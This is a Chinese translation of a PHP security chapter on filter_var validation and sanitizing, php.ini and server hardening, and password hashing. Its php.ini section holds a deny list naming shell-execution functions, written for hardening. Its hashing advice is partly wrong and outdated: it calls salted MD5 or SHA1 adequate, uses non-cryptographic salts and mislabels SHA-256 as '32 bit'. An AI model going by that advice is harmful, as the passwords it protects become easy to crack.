PHP 5.2 中添加了过滤器扩展。过滤器扩展和filter_var功能在第六章 -表单设计中有所涉及，但我们将在本章中更深入地展示可选的FILTER_FLAGS。扩展中的过滤器要么用于验证，要么用于清理。验证过滤器返回有效的输入字符串，否则返回 false。净化过滤器移除非法字符并返回修改后的字符串。

过滤器扩展有两个php.ini指令filter.default和filter.default_flags，默认为:

filter.default = unsafe_raw filter.default_flags = NULL

这个指令将过滤所有的超级全局变量$_GET、$_POST、$_COOKIE、$_SERVER和$_REQUEST。默认情况下，unsafe_raw净化过滤器不执行任何操作。但是，您可以设置以下标志:

FILTER_FLAG_STRIP_LOW   //strip ASCII values smaller than 32 (non printable characters) FILTER_FLAG_STRIP_HIGH  //strip ASCII values larger than 127 (extended ASCII) FILTER_FLAG_ENCODE_LOW  //encode values smaller than 32 FILTER_FLAG_ENCODE_HIGH //encode values larger than 127 FILTER_FLAG_ENCODE_AMP  //encode & as &

验证过滤器是FILTER_VALIDATE_*type*，其中类型是{BOOLEAN, EMAIL, FLOAT, INT, IP, REGEXP and URL}之一。

我们可以通过将FILTER_FLAGS传递给第三个参数来使验证过滤器更加严格。与可选标志交叉引用的所有验证过滤器的列表可在[www.php.net/manual/en/filter.filters.validate.php](http://www.php.net/manual/en/filter.filters.validate.php),获得，与过滤器交叉引用的标志可在[www.php.net/manual/en/filter.filters.flags.php](http://www.php.net/manual/en/filter.filters.flags.php)获得。

使用FILTER_VALIDATE_IP时，有四个可选标志:

FILTER_FLAG_IPV4                //only IPv4 accepted, ex 192.0.2.128 FILTER_FLAG_IPV6                //only IPv6 accepted, ex ::ffff:192.0.2.128                                 //2001:0db8:85a3:0000:0000:8a2e:0370:7334. FILTER_FLAG_NO_PRIV_RANGE       //private ranges fail                                 //IPv4: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16 and                                 //IPv6 starting with FD or FC FILTER_FLAG_NO_RES_RANGE        //reserved ranges fail                                 //IPv4: 0.0.0.0/8, 169.254.0.0/16,                                 //192.0.2.0/24 an d 224.0.0.0/4.                                 //IPv6: does not apply

***清单 11-17。*通过 FILTER_VALIDATE_IP 使用过滤标志

`<?php $ip_address = "192.0.2.128"; //IPv4 address var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ); //192.0.2.128 var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ); //false

$ip_address = "::ffff:192.0.2.128"; //IPv6 address representation of 192.0.2.128 var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ); //false var_dump( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ); //ffff:192.0.2.128` `$ip_address = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"; var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ); // 2001:0db8:85a3:0000:0000:8a2e:0370:7334

$ip_address = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"; var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE ) ); //2001:0db8:85a3:0000:0000:8a2e:0370:7334

$ip_address = "FD01:0db8:85a3:0000:0000:8a2e:0370:7334"; var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE ) ); //false

$ip_address = "192.0.3.1"; var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE ) ); //192.0.3.1

$ip_address = "192.0.2.1"; var_dump( filter_var($ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE ) ); //false ?>`

对于FILTER_VALIDATE_URL,只有两个可选标志，它们是:

`FILTER_FLAG_PATH_REQUIRED              //www.foobar.com/path FILTER_FLAG_QUERY_REQUIRED             //www.foobar.com/path?query=…

净化过滤器为FILTER_SANITIZE_*type*，其中类型为{EMAIL, ENCODED, MAGIC_QUOTES, FLOAT, INT, SPECIAL_CHARS, STRING, STRIPPED, URL, UNSAFE_RAW}之一。在这些过滤器中，FILTER_SANITIZE_STRING移除 HTML 标签，FILTER_SANITIZE_STRIPPED是FILTER_SANITIZE_STRING的别名。

还有FILTER_CALLBACK，这是一个用户自定义的过滤功能。

Sanitize 函数修改原始变量，但不验证它。通常我们会想让一个变量通过一个净化过滤器，然后通过一个验证过滤器。下面是一个使用EMAIL过滤器的例子:

清单 11-18。 FILTER_SANITIZE_EMAIL例子

`<?php

$email = '(a@b.com)'; //get rid of the illegal parenthesis characters$sanitized_email = filter_var( $email, FILTER_SANITIZE_EMAIL ); var_dump($sanitized_email ); //a@b.com

var_dump( filter_var( $email, FILTER_VALIDATE_EMAIL ) ); //false

var_dump( filter_var( $sanitized_email, FILTER_VALIDATE_EMAIL ) ); //a@b.com ?>`

函数filter_var_array与filter_var相似，但可以一次过滤多个变量。要过滤超级全局变量，您可以使用以下三个函数之一:

• filter_has_var($type, $variable_name)其中 type 是INPUT_GET、INPUT_POST、INPUT_COOKIE、INPUT_SERVER或INPUT_ENV中的一个，并对应于各自的超全局数组。返回变量是否存在。
• filter_input,根据名称检索特定的外部变量，并有选择地过滤它。
• filter_input_array,它检索外部变量并有选择地过滤它们。

清单 11-19。 filter_has_var 示例

`<?php // http://localhost/filter_has_var_test.php?test2=hey&test3=

$_GET['test'] = 1; var_dump( filter_has_var( INPUT_GET, 'test' ) ); //false var_dump( filter_has_var( INPUT_GET, 'test2' ) ); //true var_dump( filter_has_var( INPUT_GET, 'test3' ) ); //true ?>`

注意filter_has_var函数返回false，除非$_GET变量在实际查询字符串中被更改。当变量值为空时，它也返回true。

对于过滤元信息，使用以下两个函数:

• filter_list,返回支持的过滤器列表
• filter_id,返回一个过滤器的 ID

php.ini 和服务器设置

强化环境的核心是拥有正确配置的php.ini文件和安全的服务器/主机。如果服务器受到威胁，那么我们采取的任何额外的安全措施都是无效的。举个例子，如果一个 PHP 文件对攻击者来说是可写的，那么在该文件中过滤数据和转义输出是没有用的。

服务器环境

潜在攻击者对我们的服务器环境了解得越少越好。这包括物理服务器信息，我们的网站是否有共享主机，我们正在运行哪些模块，以及php.ini和文件设置。Apache、PHP 或第三方库的新版本中已知的安全改进意味着攻击者将确切知道旧版本中会暴露什么。因此，我们不希望在生产环境中显示phpinfo()。我们稍后会看看如何在php.ini中禁用它。

在 Apache 服务器上，我们可以使用.htaccess来限制文件的访问和可见性。我们还可以向目录添加索引文件，这样就不会列出目录内容。除非绝对必要，否则不允许 web 用户写入文件也很重要。我们想写保护目录和文件。将目录权限设置为 755，将文件权限设置为 644，会限制非文件所有者的读取权限，以及非目录所有者的读取和执行权限。

我们也不能依靠一个robots.txt文件来阻止网络爬虫读取我们网站上的敏感数据。事实上，它可能有助于将恶意爬虫直接引向它。因此，所有敏感数据都应该在文档根目录之外。

如果我们在一个共享的主机环境中，我们需要能够相信我们的主机使用了安全方面的最佳实践，并快速修补任何新的漏洞。否则，服务器上其他站点的漏洞可能允许访问我们站点的文件。我们将在下一节讨论 PHP safe_mode的使用。最后，我们应该定期检查服务器和 PHP 日志，寻找可疑或错误的行为。

硬化 PHP。初始化设置文件的后缀名

在一个php.ini文件中有几个指令应该被调整以获得最佳的安全性，我们现在来看一下。

我们希望确保在生产环境中，任何潜在的错误都不会输出到屏幕显示中，这可能会暴露我们的文件系统或脚本的一些内部细节。我们仍然希望意识到错误，但不显示它们。

display_errors =  Off                   //do not display errors display_startup_errors  =  Off log_errors = On                         //log errors

如果可以找到并读取日志文件，这种额外的努力就白费了。所以要确保日志写在文档根目录之外。

error_log = "/somewhere/outside/web/root/" track_errors = Off      //keeps track of last error inside global $php_errormsg. We do not![images](https://p9-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/daa76a84159546f19530d9ecb22473b7~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5biD5a6i6aOe6b6Z:q75.awebp?rk3s=f64ab15b&x-expires=1771038740&x-signature=%2FALg0P0UZ0%2FT%2B3u8KZSvBaIcYh8%3D)  want this. html_errors = Off       //inserts links to documentation about errors expose_php = Off;       //does not let the server add PHP to its header,                         //thus letting on that PHP is used on the server

如前所述，register_globals可能是一个很大的安全漏洞，尤其是在变量没有初始化的情况下。

register_globals = Off           //would register form data as global variables                                  // *DEPRECATED* as of PHP 5.3.0

魔术引号试图自动转义引号。然而，这导致了不一致。为此，最好明确使用数据库函数。

magic_quotes_gpc = Off   //deprecated in 5.3.0  Use database escaping instead

如前所述，我们应该禁止在 cookies 或 URL 中设置 SID。

session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0

我们可以禁用高风险的 PHP 函数，如果需要的话启用一些。

disable_functions =  curl_exec, curl_multi_exec, exec, highlight_file, parse_ini_file,![images](https://p9-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/daa76a84159546f19530d9ecb22473b7~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5biD5a6i6aOe6b6Z:q75.awebp?rk3s=f64ab15b&x-expires=1771038740&x-signature=%2FALg0P0UZ0%2FT%2B3u8KZSvBaIcYh8%3D) passthru, phpinfo, proc_open, popen, shell_exec, show_source, system

PHP 类也有类似的指令，我们可以禁用任何不希望 PHP 使用的类。

disable_classes =

我们可以强化 PHP 处理文件访问和远程文件的方式:

allow_url_fopen = Off           //whether to allow remote files to be opened allow_url_include = Off         //whether to allow includes to come from remote files file_uploads = Off              //disable only if your scripts do not need file uploads

指令open_basedir将 PHP 可以打开的文件限制在指定的目录和子树中。

open_basedir = /the/base/directory/ enable_dl = Off                         //can allow bypassing of open_basedir settings

对于共享主机，safe_mode限制 PHP 只能由合适的用户 id 执行。然而，它并不限制其他脚本语言如 Bash 或 Perl 做同样的事情。这限制了我们从该指令中所能期望的实际安全程度。

safe_mode = On

密码算法

在这一节中，我们将看看密码散列的强度。当存储用户密码时，我们希望使用一种格式，使攻击者很难发现密码，即使他们侵入我们的数据库。出于这个原因，我们从来不想以纯文本的形式存储密码。哈希函数接受输入字符串，并将其转换为固定长度的表示形式。

哈希是一种单向算法，这意味着您无法从哈希中获得输入字符串。您必须总是重新散列输入，并将结果与已知的存储散列进行比较。crc32散列函数总是将数据表示为 32 位二进制数。因为字符串比表示形式多，所以哈希函数不是一对一的。将会有生成相同散列的唯一字符串。消息摘要算法(MD5)将输入字符串转换为 32 个字符的十六进制数或等效的 128 位二进制数。

尽管散列是一种方式，但被称为彩虹表的计算结果为一些散列提供了反向查找。MD5 哈希有一个已知的彩虹表。因此，如果数据库以 MD5 格式存储密码并遭到破坏，那么用户密码就很容易被确定。

如果你使用 MD5 散列，我们必须通过加盐使它们更强。 Salting 包括将一个字符串附加到一个散列结果上，然后重新散列连接的结果。只有当我们知道散列的附加 salt 是什么时，我们才能从输入字符串中重新生成它。

在 PHP 中，函数mt_rand比函数rand更新，算法更快。要生成 1 到 100 之间的随机值，可以调用:

mt_rand(1, 100);

函数uniqid将生成一个唯一的 ID。它有两个可选参数，第一个是前缀，第二个是是否使用更多的熵(随机性)。使用这些函数，我们可以生成一种独特的盐。见清单 11-20 。

***清单 11-20。*生成一个独特的盐，并用它来篡改我们的密码

<?php   $salt = uniqid( mt_rand() );   $password = md5( $user_input );   $stronger_password = md5( $password.$salt ); ?>

我们还需要将$salt的值存储在数据库中，以便以后检索和重新生成散列。

比 md5 散列更强的是美国安全散列算法 1 (SHA1)散列。PHP 有sha1()函数:

$stronger_password = sha1( $password.$salt );

对于 PHP 5.1.2 及更高版本，可以使用sha1、sha2的后继。如你所料，sha2 比 sha1 更强。要使用 sha2，我们需要使用更通用的hash函数，它将散列算法名称作为第一个参数，将输入字符串作为第二个参数。目前有 30 多种散列算法可用。函数hash_algos将返回您的 PHP 版本上所有可用散列算法的列表。

***清单 11-21。*通过 sha2 算法使用哈希函数

<?php   $string = "your_password"; $sha2_32bit = hash( 'sha256', $string );  //32 bit sha2 $sha2_64bit = hash( 'sha512', $string );  //64 bit sha2

或者，crypt功能可以与几种算法一起使用，如md5、sha256,和sha512。然而，它需要更严格的 salt 长度和不同的前缀，这取决于所使用的算法。因此，记住要使用的正确语法更加困难。

最后，当试图为您的站点构建一个登录系统时，现有的解决方案如 OpenID 或 OAuth 提供了有保证的保护级别。除非需要一个独特的解决方案，否则考虑使用已经建立并经过测试的东西。

总结

在这一章中，我们讨论了很多内容。我们讨论了 PHP 脚本中安全性的重要性。我们谈到了不信任程序中的任何数据和逃避输出。我们讨论了使用过滤器扩展和防范会话固定、XSS 和 CSRF 攻击。我们还了解了 SQL 注入，并保证了文件系统的安全。最后，我们展示了如何调整php.ini文件的安全性和密码散列的强度。

当考虑安全性时，要记住的要点是数据和用户不应该被信任。在开发应用时，我们必须假设数据可能遭到破坏，用户正在寻找漏洞，并采取预防措施。